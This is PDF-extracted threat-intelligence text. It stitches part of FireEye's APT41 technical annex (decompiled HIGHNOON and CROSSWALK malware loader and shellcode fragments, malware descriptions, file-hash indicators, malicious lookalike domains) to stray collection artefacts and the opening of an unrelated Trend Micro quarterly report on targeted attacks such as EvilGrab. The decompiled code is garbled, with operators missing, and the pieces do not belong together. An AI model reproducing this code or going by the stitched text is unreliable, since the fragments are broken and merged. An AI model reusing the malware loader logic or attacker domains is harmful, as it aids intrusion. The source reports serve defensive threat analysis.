6/21/13 Revoked 47:6b:f2:4a:4b:1e:9f:4b:c2:a6:1b:15:21:15:e1:fe Wemade Entertainment co. 3/2/14 1/9/16 Revoked 53:0c:e1:4c:81:f3:62:10:a1:68:2a:ff:17:9e:25:80 NetSarang Computer 10/13/16 11/12/18 Revoked 30:d3:c1:67:26:5b:52:0c:b8:7f:25:84:4f:95:cb:04 Shanda Games 10/29/13 12/27/16 Revoked 54:c6:c1:40:6f:b4:ac:b5:d2:06:74:e9:93:92:c6:3e GameUS Inc 5/15/14 7/13/16 Expired 1e:52:bb:f5:c9:0e:c1:64:d0:5b:e0:e4:16:61:52:5f En Masse Entertainment 2/3/15 4/5/17 Expired fd:f2:83:7d:ac:12:b7:bb:30:ad:05:8f:99:9e:cf:00 Zepetto Co. 5/10/18 7/1/19 Expired 25:f8:78:22:de:56:d3:98:21:59:28:73:ea:09:ca:37 Electronics Extreme Limited 1/20/17 1/20/19 Expired 67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d YNK JAPAN Inc 11/27/09 11/27/11 Revoked 52 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION TECHNICAL ANNEX Additional Malware Overlaps Figure 20: HIGHNOON. BIN and HIGHNOON.LITE in memory DLL loading function. Background Throughout the course of our analysis, we consolidated multiple malware families into a single family with variants based on identified overlaps. Some of the malware families, such as HIGHNOON, are shared with other suspected Chinese espionage groups. The malware families contain similar functionalities, code overlaps, and encoding routines. Detailed descriptions on specific malware families are listed as follows. HIGHNOON HIGHNOON variants include HIGHNOON.LITE, HIGHNOON.BIN, HIGHNOON.PASTEBOY, HIGHNOON. CLI, and HIGHNOON.LINUX. Some of the variants, such as HIGHNOON.BIN, were used by multiple suspected Chinese groups, including APT41 and APT17. HIGHNOON.BIN and HIGHNOON.LITE HIGHNOON.BIN (MD5: 2862c9bff365dc8d51ba0c4953869d5d) and HIGHNOON. LITE (MD5: b5120174d92f30d3162ceda23e201cea) contain an identical in memory DLL loading function, which can be seen in Figure 20. 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 char v7 // [esp60h] [ebp-Ch] _DWORD v8 // [esp68h] [ebp-4h] if ( a1 ) return 0 v7 (char )a1 a1[15] IpAddress (char )VirtualAlloc(((LPVOID )v7 13), ((_DWORD )v7 20), 0x2000u, 0x40u) if ( IpAddress ) IpAddress (char )VirtualAlloc(0, ((_DWORD )v7 20), 0x2000u, 0x40u) if ( IpAddress ) return 0 v2 GetProcessHeap(): v8 HeapAlloc(v2, 0, 0x14u) v8[1] IpAddress v8[3] 0 v8[2] 0 v8[4] 0 VirtualAlloc(IpAddress, ((_DWORD )v7 20), 0x1000u, 0x40u) Dst (char )VirtualAlloc(IpAddress, ((_DWORD )v7 21), 0x1000u, 0x40u memcpy(Dst, a1, ((_DWORD )v7 21) a1[15]) v8 Dst[a1[15]] (_DWORD )(v8 52) IpAddress sub_4020A0(a1, v7, v8) v4 (int)IpAddress[-((_DWORD )v7 13)] if ( v4 ) sub_402320(v8, v4) if ( sub_402320(v8) ) sub_4021C0(v8) if ( (_DWORD )(v8 40) ) return v8 v3 IpAddress[(_DWORD )(v8 40)] if ( v3 ((int (__stdcall )(char , int, _DWORD))v3)(IpAddress, 1, 0) ) v8[4] 1 return v8 sub_402740(v8) return 0 00002084 t_in_memory_DLL_loader46 (402084) char v8 // ecx int v9 // eax char v10 // eax char v11 // [esp10h] [ebp-4h] v1 (char )a1 a1[15] v2 (char )VirtualAlloc(((LPVOID )v1 13), ((_DWORD )v1 20), 0x2000u, 0x40u) v11 v2 if ( v2 ) result (char )VirtualAlloc(0, ((_DWORD )v1 20), 0x2000u, 0x40u) v11 result if ( result ) return result v2 result v4 GetProcessHeap() v5 (int )HeapAlloc(v4, 0, 0x14u) v5[1] (int)v2 v5[3] 0 v5[2] 0 v5[4] 0 VirtualAlloc(v2, ((_DWORD )v1 20), 0x1000u, 0x40u) v6 (char )VirtualAlloc(v2, ((_DWORD )v1 21), 0x1000u, 0x40u) qmemcpy(v6, a1, a1[15] ((_DWORD )v1 21)) v7 (int)v6[a1[15]] v5 v7 (_DWORD )(v7 52) v11 sub_10002150((int)a1, (int)v1, v5) v8 (char )((_DWORD )v1 13) if ( v11 v8 ) sub_10002370(v5, v11 - v8) if ( sub_100023F0(v5) ) goto LABEL_10 sub_100022B0(v5) v9 (_DWORD )(v5 40) if ( v9 ) v10 v11[v9] if ( v10 ((int (__stdcall )(char , int, _DWORD))v10)(v11, 1, 0) ) ABEL _10 sub_100025B0(v5) return 0 v5[4] 1 return (char )v5 000021BF sub_1000020B052 (100021BF) 53SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION HIGHNOON (MD5: df143c22465b88c4bdb042956fef8121) uses an API hashing algorithm to resolve its imports at runtime, but the layout of the in-memory DLL loading functionality is identical between HIGHNOON, HIGHNOON. BIN, and HIGHNOON.LITE samples (Figure 21). The specific samples of HIGHNOON, HIGHNOON.BIN, and HIGHNOON. LITE referenced previously are not attributed to APT41 but are instead used by other suspected Chinese groups. Figure 21: HIGHNOON DLL loading function. resolve_APIS(): v3 (_DWORD )((char )a1 a1[15]) v4 (_DWORD )VirtualAlloc(v3[13], v3[20]. 0x2000, 0x40) if ( v4 ) result (_DWORD )VirtualAlloc(0, v3[20], 0x2000, 0x40) if ( result ) return result v4 result v6 (void )GetProcessHeap(0, 0x14) v7 HeapAlloc(v6, v13, v14) v7[1] v4 v7[3] 0 v7[2] 0 v7[4] 0 VirtualAlloc(v4, v3[20], 0x1000, 0x40) v8 (char )VirtualAlloc(v4, v3[21], 0x1000, 0x40) qmemcopy(v8, a1, a1[15] v3[21]) v9 (int)v8[(_DWORD )(a3 60)] v7 v9 (_DWORD )(v9 52) a1 sub_100016A0(a3, v3, v7) v10 (char )v3[13] if ( a1 (_DWORD )v10 ) sub_10001830(v7, (char )a1 - v10) if ( sub_10001770(v7) ) return 0 sub_10001770(v7) v11 (_DWORD )(v7 40) if ( v11 ) v12 (char )a1 v11 if ( v12 ((int (cdec1 )(_DWORD , int, _DWORD))v12)(a1, 1, 0) ) return 0 v7[4] 1 return v7 HIGHNOON and HIGHNOON.LITE also share the same configuration encoding routine. HIGHNOON, HIGHNOON.LITE, and HIGHNOON.BIN store a unique host identifier under the registry key HKLM\SOFTWARE\Microsoft\HTMLHelp 54 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION HIGHNOON.LINUX and HIGHNOON HIGHNOON.LINUX is a Linux variant of HIGHNOON that shares multiple component overlaps with HIGHNOON. HIGHNOON.LINUX and HIGHNOON share a message component that use the same headers and XOR encoding. The two share a transport component that provides HTTP, Fake TLS, and raw protocol options. HIGHNOON.LINUX and HIGHNOON share a similar commands component. The code for processing the commands Tunnel and Plus (to add plugins) are nearly identical. CROSSWALK and CROSSWALK.BIN CROSSWALK and CROSSWALK.BIN share several notable overlaps. Significantly, the two code families share a large amount of code in their respective shellcode components (Figure 22). Shellcode Component Overlaps The shellcode that handles CC messages uses the same function in both families. Interestingly, additional functions used for CC in CROSSWALK.BIN are present within CROSSWALK but unused. This suggests the families are slightly different builds originating from the same codebase. CROSSWALK.BINs user-mode shellcode and the shellcode appended at the end of CROSSWALK contain approximately three-fourths of the same code. Both CROSSWALK and CROSSWALK.BINs backdoors are implemented through user-mode shellcode. SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 55 Figure 22: CROSSWALK (left) and CROSSWALK.BIN (right) shellcode. 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 __int64 v37 // [rsp58h] [rbp10h] v37 a2 v2 0 v3 a1[47] 1 v4 a1 strcopy(v36, ok1234\n) if ( v3 ) LABEL_14: if ( cgp_dyn_resolve_maybe_03(v4) 0 ) return v2 v24 v4[24] v25 (v4 13) v26 v4[48] (v4 11) v4 (v4 10) v4 - v24 v27 v4 v25 - v24 v28 ((v4 31))(0i64, v26, 4096i64, 4i64) (v4 25) v28 if ( v28 ) return v2 v29 v4[25] v30 (v4 28) if ( v29 0 ) v31 v27 do v31 v30 --v29: while ( v29 ) if ( sub_BBA0(v4, v27) 0 ) return v2 v32 v4[25] v33 (v4 28) if ( v32 0 ) do v27 v33 --v32: while ( v32 ) ((v4 25) 2032i64) (v4 17) v4 10) (v4 35) (v4 17) (v4 10) (((v4 25) 752i644))(32775i64) v34 (((v4 25) 32i64))(0i64, 0i64, (v4 10) (v4 95), v4, 0, 0i64) ((v4 35))(v36) (((v4 25) 272i64))(v34, 0xFFFFFFFFi64) (((v4 25) 48i64))(v24) v2 1 return v2 v5 a1[12] v6 a1[13] v7 a1[11] v8 v4[24] v9 v4[19] v10 v4[25] v4[12] v7 v11 v10 v9 v8 v4[13] v7 v12 0 v13 v10 v9 v8 v14 v4 - v8 do v15 v14 v12 v15 __ROR4__(v12, v7) --v13 while ( v13 ) if ( v6 v12 ) return v2 v16 v4 48 v17 v9 v10 - 192 v18 v17 if ( v17 0 ) v19 v4[14] 0000B60A cgp_decode_shellcode:62 (B60A) 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 __int64 v39 // [rsp58h] [rbp10h] v39 a2 v2 0 v3 a1[47] 1 v4 a1 strcopy(v38, ok1234\n) if ( v3 ) LABEL_14: if ( cgp_dyn_resolve_maybe_03(v4) 0 ) return v2 v24 v4[24] v25 (v4 13) v26 v4[48] (v4 11) v4 (v4 10) v4 - v24 v27 v4 v25 - v24 v28 ((v4 31))(0i64, v26, 4096i64, 4i64) (v4 25) v28 if ( v28 ) return v2 v29 v4[25] v30 (v4 28) if ( v29 0 ) v31 v27 do v31 v30 --v29: while ( v29 ) if ( sub_8C58(v4, v27) 0 ) return v2 v32 v4[25] v33 (v4 28) if ( v32 0 ) do v27 v33 --v32: while ( v32 ) ((v4 25) 2032i64) (v4 17) v4 10) (v4 35) (v4 17) (v4 10) (((v4 25) 752i644))(32775i64) v34 (((v4 25) 32i64))(0i64, 0i64, ((v4 35))(v38) (((v4 25) 272i64))(v36, 0xFFFFFFFFi64) (((v4 25) 48i64))(v36) v2 1 return v2 v5 a1[12] v6 a1[13] v7 a1[11] v8 v4[24] v9 v4[19] v10 v4[25] v4[12] v7 v11 v10 v9 v8 v4[13] v7 v12 0 v13 v10 v9 v8 v14 v4 - v8 do v15 v14 v12 v15 __ROR4__(v12, v7) --v13 while ( v13 ) if ( v6 v12 ) return v2 v16 v4 48 v17 v9 v10 - 192 v18 v17 if ( v17 0 ) v19 v4[14] 00008590 cgp_decode_shellcode:49 (8590) 56 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Obfuscation and Anti-Analysis Overlaps Both code families share the same function at the start of their shellcode to de-obfuscate subsequent shellcode. A key function within the shellcode component that generates a semi-random XOR key and is used in multiple code locations for decoding is identical in CROSSWALK and CROSSWALK.BIN. Both use the same function for import resolution via an ASCII hash. However, there are differences between the two malware families, including how they communicate to CC servers. CROSSWALK beacons with HTTP GET and POST requests, while CROSSWALK.BIN uses a custom binary protocol. CROSSWALK.BIN contains a driver component for covert CC, which CROSSWALK lacks. Both families contain similar code to process identical message types, but their answers differ. CROSSWALK.BIN answers to 0x78 and 0x7A message types by calling large functions wrapping the business logic. CROSSWALK has different, much shorter code embedded directly in the case statement. strcpy(v22, r c:d,l:d\n) v11 0i64 v12 0 ((v3 2032))(v22, v8, v5) switch ( msg_type ) case 0x64u: if ( msg_type[1] 216 ) v16 100 goto LABEL_37 v21 ((v9 248))(0i64, 216i64, 4096i64, 4i64) if ( v21 ) return 0 (((v9 200) 1856i64))(v21, v7, msg_type[1]) if ( (((v9 200) 928i64))((v9 832), 100i64, v21, msg_type[1]) 0 ) return 1 v10 0 v14 (((v9 200) 320i64))() v15 7021i64 goto LABEL_42 case 0x6Eu: return 1 case 0x78u: if ( msg_type[1] 16 ) v16 120 goto LABEL_37 v20 ((v9 248))(0i64, 16i64, 4096i64, 4i64) if ( v20 ) return 0 (((v9 200) 1856i64))(v21, v7, msg_type[1]) if ( (((v9 200) 928i64))((v9 832), 100i64, v21, msg_type[1]) 0 ) return 1 v10 0 v14 (((v9 200) 320i64))() v15 7021i64 goto LABEL_42 case 0x7Au: v19 msg_type[1] if ( v19 0x1000 ) if ( v19 ) v11 ((v9 248))(0i64, 16i64, 4096i64, 4i64) if ( v11 ) return 10 (((v9 200) 1856i64))(v11, v7, msg_type[1]) v12 msg_type[1] if ( (((v9 200) 928i64))((v9 832), 122i64, v11, v12) 0 ) return 1 v14 (((v9 200 320i64))() v15 7023i64 goto LABEL_42 v16 122 goto LABEL_37 case 0x82u: strcpy(fmt_msg, r cd,l:d\n): if ( v3 ) goto LABEL_48 v6 sub_3398() v2 v6 if ( v6 2 ) return 1 if ( v6 0 ) return v2 LABEL_48: v7 (msg_type 11) (((v5 200) 1872i64))(fmt_msg, msg_type, msg_type[1]) switch ( msg_type ) case 0x64u: (((v5 200 1872i64))(v5 1320, 22i64) v13 cgp_cb_msgtype_0x64_wrapper(v5, (msg_type 11)) v9 v5 if ( v13 0 ) (v5 760) 1 if ( sub_5F44(v5) 0 ) return 1 v9 v5 v11 100 goto LABEL_43 case 0x6Eu: return 1 case 0x78u: v10 cgp_cb_msgtype_0x78(v5, v8, msg_type 11) goto LABEL_38 case 0x7Au v10 cgp_cb_msgtype_07A(v5, v8, (msg_type 11)) goto LABEL_38 Figure 23: CROSSWALK (left) and CROSSWALK. BIN (right) code for answering different CC message types. SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 57 TECHNICAL ANNEX Malware Used by APT41 Table 15. Malware used by APT41. Malware Description Detected as ACEHASH ACEHASH is a credential theft/password hash dumping utility. The code may be based in Mimikatz and appears to be publicly available. FE_Trojan_AceHash ADORE.XSEC ADORE.XSEC is a Linux backdoor that may be used with the ADORE rootkit. FE_APT_Backdoor_Linux64_ADORE_1 FE_APT_Rootkit_Linux64_ADORE_1 FE_APT_Rootkit_ADORE ASPXSPY ASPXSPY is a publicly available web shell that may contain the text ASPXSpy Ver: 2009. FE_Webshell_ASPX_ASPXSPY_1 FE_Webshell_ASPX_ASPXSPY_2 FE_Webshell_ASPX_ASPXSPY_3 FE_Webshell_ASPX_ASPXSPY_4 BEACON BEACON malware is a backdoor that is commercially available as part of the Cobalt Strike software platform, commonly used for pen-testing network environments. The malware supports several capabilities, such as injecting and executing arbitrary code, uploading and downloading files, and executing shell commands. FE_Backdoor_Win_BEACON_1 FE_Trojan_PS1_BEACON_1 CHINACHOP CHINACHOP is a simple code injection web shell that can execute Microsoft .NET code within HTTP POST commands. This allows CHINACHOP to upload and download files, execute applications with web server account permissions, list directory contents, access Active Directory, access databases, and perform any other action allowed by the .NET runtime. CHINACHOP is composed of at least two parts: a small bit of code on a server and a client that provides CC. FE_Webshell_JSP_CHOPPER_1 FE_Webshell_Java_CHOPPER_1 FE_Webshell_MSIL_CHOPPER_1 COLDJAVA COLDJAVA is a backdoor that drops shellcode and a BLACKCOFFEE variant payload into the Windows registry. FE_APT_Trojan_COLDJAVA_Dropper FE_APT_Trojan_COLDJAVA_64 FE_APT_Trojan_COLDJAVA_32 FE_APT_Backdoor_COLDJAVA FE_APT_Trojan_COLDJAVA_Launcher CRACKSHOT CRACKSHOT is a downloader that can download files, including binaries, and run them from the hard disk or execute them directly in memory. It is also capable of placing itself into a dormant state.
279
ZxShell Backdoor.
57,836
57,920
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data/reports_final/0279.txt
ZxShell Backdoor. APT.Viper FE_APT_VIPER SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 63 TECHNICAL ANNEX APT41 IOCs Table 16. CRACKSHOT File MD5 File SHA1 File SHA256 04fb0ccf3ef309b1cd587f609ab0e81e 44260a1dfd92922a621124640015160e621f32d5 993d14d00b1463519fea78ca65d852966 3f487cd76b67b3fd35440bcdf7a8e31 0b2e07205245697a749e422238f9f785 dde82093decde6371eb852a5e9a1aa4acf3b56ba 049a2d4d54c511b16f8bc33dae670736bf 938c3542f2342192ad877ab38a7b5d 272537bbd2a8e2a2c3938dc31f0d2461 a045939f53c5ad2c0f7368b082aa7b0bd7b116da d00b3edc3fe688fa035f1b919ef6e8f4 51a9c2197ef83d9bac3fa3af5e752243 dd792f9185860e1464b4346254b2101b a260dcf193e747cee49ae83568eea6c04bf93cb3 7096f1fdefa15065283a0b7928d1ab9792 3688c7974f98a33c94de214c675567 fcfab508663d9ce519b51f767e902806 8272c1f41f7c223316c0d78bd3bd5744e25c2e9f c667c9b2b9741247a56fcf0deebb4dc52 b9ab4c0da6d9cdaba5461a5e2c86e0c Table 17. GEARSHIFT File MD5 File SHA1 File SHA256 5b26f5c7c367d5e976aaba320965cc7f c2fb50c9ef7ae776a42409bce8ef1be464654a4e 7e0c95fc64357f12e837112987333cdaf 8c1208ef8c100649eba71f1ea90c1db f8c89ccd8937f2b760e6706738210744 f3c222606f890573e6128fbeb389f37bd6f6bda3 4aa6970cac04ace4a930de67d4c18106c f4004ba66670cfcdaa77a4c4821a213 Table 18. HIGHNOON File MD5 File SHA1 File SHA256 46a557fbdce734a6794b228df0195474 41bac813ae07aef41436e8ad22d605f786f9e099 42d138d0938494fd64e1e919707e7201 e6675b1122bf30ab51b1ae26adaec921 77c60e5d2d99c3f63f2aea1773ed4653 ad77a34627192abdf32daa9208fbde8b4ebfb25c 7566558469ede04efc665212b45786a 730055770f6ea8f924d8c1e324cae8691 849ab91e93116ae420d2fe2136d24a87 3f1dee370a155dc2e8fb15e776821d7697583c75 7cd17fc948eb5fa398b8554fea036bdb 3c0045880e03acbe532f4082c271e3c5 64 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Table 21. POISONPLUG File MD5 File SHA1 File SHA256 223e4cc4cf5ce049f300671697a17a01 1835c7751436cc199c55b42f34566d25fe6104ca e65d39fa659f64a57ee13e8a638abd9 031fa1486311d2782f32e979d5dee1ca5 37e100dd8b2ad8b301b130c2bca3f1ea 32466d8d232d7b1801f456fe336615e6fa5e6ffb 2eea29d83f485897e2bac9501ef000cc 266ffe10019d8c529555a3435ac4aabd 557ff68798c71652db8a85596a4bab72 971bb08196bba400b07cf213345f55ce0a6eedc8 5d971ed3947597fbb7e51d806647b37d 64d9fe915b35c7c9eaf79a37b82dab90 830a09ff05eac9a5f42897ba5176a36a 2366d181a1697bcb4f368df397dd0533ab8b5d27 70c03ce5c80aca2d35a5555b0532eede de24d4cc6bdb32a2c8f7e630bba5f26e b0877494d36fab1f9f4219c3defbfb19 4dc5fadece500ccd8cc49cfcf8a1b59baee3382a 3e6c4e97cc09d0432fbbbf3f3e424d4a a967d3073b6002305cd6573c47f0341f c8403fabda4d036a55d0353520e765c9 d0429abec299ddfee7e1d9ccff1766afd4c0992b 9283703dfbc642dd70c8c76675285526 90e998bcb3f3374273c0b5c90c0d1366 ff8d92dfbcda572ef97c142017eec658 6f065eea36e28403d4d518b8e24bb7a915b612c3 f4d57acde4bc546a10cd199c70cdad0 9f576fdfe66a36b08a00c19ff6ae19661 ffd0f34739c1568797891b9961111464 82072cb53416c89bfee95b239f9a90677a0848df 0055dfaccc952c99b1171ce431a02abf ce5c6f8fb5dc39e4019b624a7d03bfcb Table 20. JUMPALL File MD5 File SHA1 File SHA256 ba08b593250c3ca5c13f56e2ca97d85e adde0644a572ed593e8b0566698d4e3de0fe fb8a c51c5bbc6f59407286276ce07f0f7ea9 94e76216e0abe34cbf20f1b1cbd9446d Table 19. HIGHNOON.BIN File MD5 File SHA1 File SHA256 36711896cfeb67f599305b590f195aec 1036a7088b060250bb66b6de91f0c6ac462 dc24c 490c3e4af829e85751a44d21b25de1781 cfe4961afdef6bb5759d9451f530994 7d51ea0230d4692eeedc2d5a4cd66d2d 5ee7c57dc84391f63eaa3824c53cc10eafc9e388 63e8ed9692810d562adb80f27bb1aeaf 48849e468bf5fd157bc83ca83139b6d7 a0a96138b57ee24eed31b652ddf60d4e 03de2118aac6f20786043c7ef0324ef01dcf4265 79190925bd1c3fae65b0d11db40ac8e6 1fb9326ccfed9b7e09084b891089602d SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION 65 Table 22. POISONPLUG.SHADOW File MD5 File SHA1 File SHA256 72584d6b7dd10c82d9118567b548b2b1 f067443c2c4d99dc6577006a2f105e51af731659 faedf9fef6edac2f0565882112b2eae14e dda024239d3218a9fe9ac7e0b12db6 97363d50a279492fda14cbab53429e75 f1a181d29b38dfe60d8ea487e8ed0ef30f064763 462a02a8094e833fd456baf0a6d4e18 bb7dab1a9f74d5f163a8334921a4ffde8 a6c7db170bc7a4ee2cdb192247b59cd6 5a85d1e19e0414fc59e454ccbaef0a3c6bb41268 92cb362ae8d24c05f368d13036534fe01 4344994d46031a0a8636a7ca0b792c6 Phishing Payloads Table 23. ( MERS).7z File MD5 File SHA1 File SHA256 5e87b09f9a3f1b728c9797560a38764b 67c957c268c1e56cc8eb34b02e5c09eae62680f5 354c174e583e968f0ecf86cc20d59ecd 6e0f9d21800428453b8db63f344f0f22 Table 24. Documents.7z File MD5 File SHA1 File SHA256 8c6cceae2eea92deb6f7632f949293f0 b193ff40a98cd086f92893784d8896065faa3ee3 bae8f4f5fc959bff980d6a6d12797b0d 647e97cc811c5b9e827d0b985d87f68f 66 SPECIAL REPORT DOUBLE DRAGON: APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION Domains agegamepay[. ]com ageofwuxia[. ]com ageofwuxia[. ]info ageofwuxia[. ]net ageofwuxia[. ]org bugcheck.xigncodeservice[. ]com byeserver[. ]com dnsgogle[. ]com gamewushu[. ]com gxxservice[. ]com ibmupdate[. ]com infestexe[. ]com kasparsky[. ]net linux-update[. ]net macfee[. ]ga micros0ff[. ]com micros0tf[. ]com notped[. ]com operatingbox[. ]com paniesx[. ]com serverbye[. ]com sexyjapan.ddns[. ]info symanteclabs[. ]com techniciantext[. ]com win7update[. ]net xigncodeservice[. ]com URLs Email Addresses akbklxp126[. ]com akbklxp163[. ]com hackershby126[. ]com hrsimon59gmail[. ]com injuriesa126[. ]com injuriesa163[. ]com injuriesagmail[. ]com injuriesahotmail[. ]com injuriesaqq[. ]com kbklxp126[. ]com petervc1983gmail[. ]com ravinder10126[. ]com ravinder10hotmail[. ]com ravinder10sohu[. ]com wolf_zhiyahoo[. ]com FireEye, Inc. 601 McCarthy Blvd. Milpitas, CA 95035 408.321.6300/877.FIREEYE (347.3393) infoFireEye.com To learn more about FireEye, visit: www. FireEye.com About FireEye, Inc. FireEye is the intelligence-led security company. Working as a seamless, scalable extension of customer security operations, FireEye offers a single platform that blends innovative security technologies, nation-state grade threat intelligence, and world-renowned Mandiant consulting. With this approach, FireEye eliminates the complexity and burden of cyber security for organizations struggling to prepare for, prevent, and respond to cyber attacks. 2019 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. SP.APT41.2019.US-EN-000209-03 mailto:info40FireEye.com?subject A TrendLabs Report 2Q Report on Targeted Attack Campaigns Trend Micro 2Q Report on Targeted Attack Campaigns 2 Contents Introduction ...........................................................................................................................................4 Campaigns Observed in 2Q ................................................................................................................5 Targeted Attack Campaigns Profiling ..................................................................................5 Affected Industry Sectors .......................................................................................................6 Affected Regions ......................................................................................................................6 Attachments Used In Targeted Attacks ................................................................................7 CC Statistics ...........................................................................................................................7 Feature: EvilGrab Campaign Targets Diplomatic Agencies ..........................................................8 Targets ........................................................................................................................................8 Attack Vectors ...........................................................................................................................9 Exploits, Payloads, and Decoy Documents ..........................................................................9 DLL Preloading Using the Windows Shell and Fax Server ...............................................9 Trend Micro 2Q Report on Targeted Attack Campaigns 3 TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only. It is not intended and should not be construed to constitute legal advice. The information contained herein may not be applicable to all situations and may not reflect the most current situation. Nothing contained herein should be relied on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise. Trend Micro reserves the right to modify the contents of this document at any time without prior notice. Translations of any material into other languages are intended solely as a convenience. Translation accuracy is not guaranteed nor implied. If any questions arise related to the accuracy of a translation, please refer to the original language official version of the document. Any discrepancies or differences created in the translation are not binding and have no legal effect for compliance or enforcement purposes. Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any kind as to its accuracy, currency, or completeness. You agree that access to and use of and reliance on this document and the content thereof is at your own risk. Trend Micro disclaims all warranties of any kind, express or implied. Neither Trend Micro nor any party involved in creating, producing, or delivering this document shall be liable for any consequence, loss, or damage, including direct, indirect, special, consequential, loss of business profits, or special damages, whatsoever arising out of access to, use of, or inability to use, or in connection with the use of this document, or any errors or omissions in the content thereof. Use of this information constitutes acceptance for use in an as is condition. Other Autorun Behaviors .....................................................................................................10 Stealth Operation....................................................................................................................10 Registry Storage ......................................................................................................................11 Media Grabbing ......................................................................................................................11 User Credential Theft ............................................................................................................11 Tencent QQ Memory Reading: ............................................................................................13 Key Logging ............................................................................................................................13 Command Control Servers ...............................................................................................14 Backdoor Activity ...................................................................................................................15 Trend Micro Recommendations .......................................................................................................21 References ............................................................................................................................................22 Trend Micro 2Q Report on Targeted Attack Campaigns 4 Introduction Highly targeted attacks refer to a category of threats that pertain to intrusions by threat actors or attackers. These attackers aggressively pursue and compromise chosen targets in order to steal sensitive information. These are not conducted through separate attacks rather, they comprise of a series of attempts over time to get deeper and deeper into a targets network. Each attempt may either succeed or fail, but the overall goal is to penetrate the targets network and acquire information. Malware is typically used as an attack vector, but the real threat involves human operators who adapt, adjust, and improve their methods based on the victims defenses. Enterprises should consider targeted attacks a high-priority threat because of the considerable damage they incur. The human and systemic weaknesses that allow an attacker to compromise an organization can be minimized and mitigated with correct practices and solutions. However, these same weaknesses can never be fully resolved. Trend Micro monitors the targeted attack landscape in order to identify ongoing campaigns and provide additional threat intelligence useful for identifying the existence of these campaigns in an enterprise network. This quarterly report presents the targeted attack campaigns observed and mitigated by Trend Micro based on reported customer cases, as well as our own independently gathered data. Trend Micro 2Q Report on Targeted Attack Campaigns 5 Campaigns Observed in 2Q Targeted Attack Campaigns Profiling We encountered a variety of targeted campaigns in the second quarter of the year.
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These include the following: IXESHE. The IXESHE campaign is known for targeting East Asian governments, electronics manufacturers, and telecommunications firms. We released a white paper discussing this campaign.1 IXESHE has been active since 2012. ELISE. This recently discovered campaign also targets government agencies in the Asia Pacific region. It is called ELISE after certain strings found in its unpacked code. ( We detect the malware used by this campaign as BKDR_ELISE.) ZEGOST. This family of backdoors (aka HTTP Tunnel) is Chinese in origin and was used in attacks against Asian government organizations. BEEBUS/MUTTER. This is a targeted campaign believed to be associated with the Comment Crew attacker group because of the use of encrypted/ obfuscated HTML comments to hide their CC transactions. TravNet. This campaign made use of a malware family identified as NetTraveler based on the strings found in the malware code. The malware is detected as BKDR_TRAVLAR. Trend Micro 2Q Report on Targeted Attack Campaigns 6 Affected Industry Sectors Our data indicates that the majority of targeted attack victims are various government agencies. Targeted firms from the technology sector include telecommunication firms, Internet service providers, and software companies. The financial services sector and the aerospace industry were also targeted this quarter. Affected Regions The targeted attacks that we analyzed were heavily concentrated in Asia, particularly Taiwan and Japan. Targeted attacks discovered by industry Targeted attacks discovered by region Trend Micro 2Q Report on Targeted Attack Campaigns 7 Attachments Used In Targeted Attacks Based on our findings, the most common type of email attachment type used in targeted attacks were file archives of various forms. When uncompressed, these archives typically contain the malicious payload itself, which the user may then run directly. Alternately, they may also contain a .DOC file that contains exploit code. RTF files made up the second most common file type. Frequently, the .EXE files we see are made to appear as ordinary documents or folders using appropriately chosen icons. In addition, we also saw an increased use of files that make use of right-to-left override (RTLO) in Unicode. CC Statistics We were also able to monitor the activity of various CC servers related to targeted attacks. By volume of CC server activity, the following countries ranked as follows: 1 42 3 5 6 7 8 9 10 Australia South Korea Germany Japan Italy Taiwan India United States Vietnam Netherlands Others 1 2 3 4 5 6 7 8 9 10 32 15 9 7 6 5 4 3 2 2 15 Volume percent of CC server activity per country File types used in targeted attacks Trend Micro 2Q Report on Targeted Attack Campaigns 8 Feature: EvilGrab Campaign Targets Diplomatic Agencies In this report, we will provide a detailed analysis of the EvilGrab campaign. This campaign was first found targeting certain Asian and European governments. Its name is derived from its behavior of grabbing audio, video, and screenshots from affected machines. Currently, the malware used by EvilGrab belongs to one of three malware families: BKDR_HGDER BKDR_EVILOGE BKDR_NVICM Targets Our research indicates that EvilGrab activity is most prevalent in China and Japan, although it is also present in other parts of the world. Government organizations were, by far, the most affected by EvilGrab. This geolocation is based on the IP addresses of the victims. Therefore, foreign institutions within China would be identified as coming from China the same would hold true for all countries. EvilGrab was also found in the United States, Canada, France, Spain, and Australia, among others. Map of top affected countries by targeted attacks Sectors affected by targeted attacks 1 2 3 4 GOVERNMENT NON-GOVERNMENT ORGANIZATIONS 